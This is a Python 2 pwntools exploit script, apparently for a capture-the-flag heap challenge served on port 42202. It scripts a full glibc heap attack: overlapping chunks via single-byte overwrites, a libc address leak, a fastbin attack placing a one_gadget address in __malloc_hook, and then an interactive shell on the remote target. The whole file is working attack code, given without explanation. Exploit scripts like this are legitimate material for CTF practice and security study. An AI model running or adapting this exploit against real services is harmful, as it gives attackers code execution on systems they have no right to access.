#!/usr/bin/env python2

import sys

from pwn import *
 

class chunk(object):
    def __init__(self, io):
        self._io = io
    
    def create(self, size, data):
        self._io.sendlineafter('Exit.\n', '1')
        self._io.sendlineafter('size:\n', str(size))
        self._io.sendlineafter('data:\n', data)
 
    def delete(self, idx):
        self._io.sendlineafter('Exit.\n', '2')
        self._io.sendlineafter('index:\n', str(idx))
 
    def write(self, idx):
        self._io.sendlineafter('Exit.\n', '3')
        self._io.sendlineafter('index:\n', str(idx))
        return self._io.recvuntil('\n')[:-1]


def main(io):
    ch = chunk(io)

    ch.create(0xf8, 'A'*0xf8)
    ch.create(0x68, 'B'*0x68)
    ch.create(0xf8, 'C'*0xf8)
    ch.create(0x10, 'D'*0x10)
 
    ch.delete(0)
    ch.delete(1)

    ch.create(0x68, 'B'*0x68)
 
    for i in range(0x66, 0x5f, -1):
        ch.delete(0)
        ch.create(i+2, 'B'*i + '\x70\x01')
 
    ch.delete(2)
 
    ch.create(0xf6, 'E'*0xf6)
    
    libc_leak = ch.write(0)

    libc_leak = u64(libc_leak[:6] + '\x00\x00')
    libc_base = libc_leak - 0x3c4b78
    log.info('libc_base: 0x%x' % libc_base)
 
    for i in range(0xfd, 0xf7, -1):
        ch.delete(1)
        ch.create(i+1, 'E'*i + '\x70')
 
    ch.delete(0)
    ch.delete(1)
 
    malloc_hook = libc_base + 0x3c4aed
    ch.create(0x108, 'F'*0x100 + p64(malloc_hook))
 
    for i in range(0xfe, 0xf7, -1):
        ch.delete(0)
        ch.create(i+8, 'F'*i + p64(0x70))
 
    ch.create(0x68, 'B'*0x68)
 
    one_gadget = libc_base + 0xf02a4
    ch.create(0x68, 0x13*'G' + p64(one_gadget) + 0x4d*'\x00')
 
    ch.create(0x20, 'A'*1)
    
    io.interactive()


if __name__ == '__main__':
    host = sys.argv[1] if len(sys.argv) > 1 else '0.0.0.0'
    io = remote(host, 42202)
    # io = process('./service/heap')
    main(io)
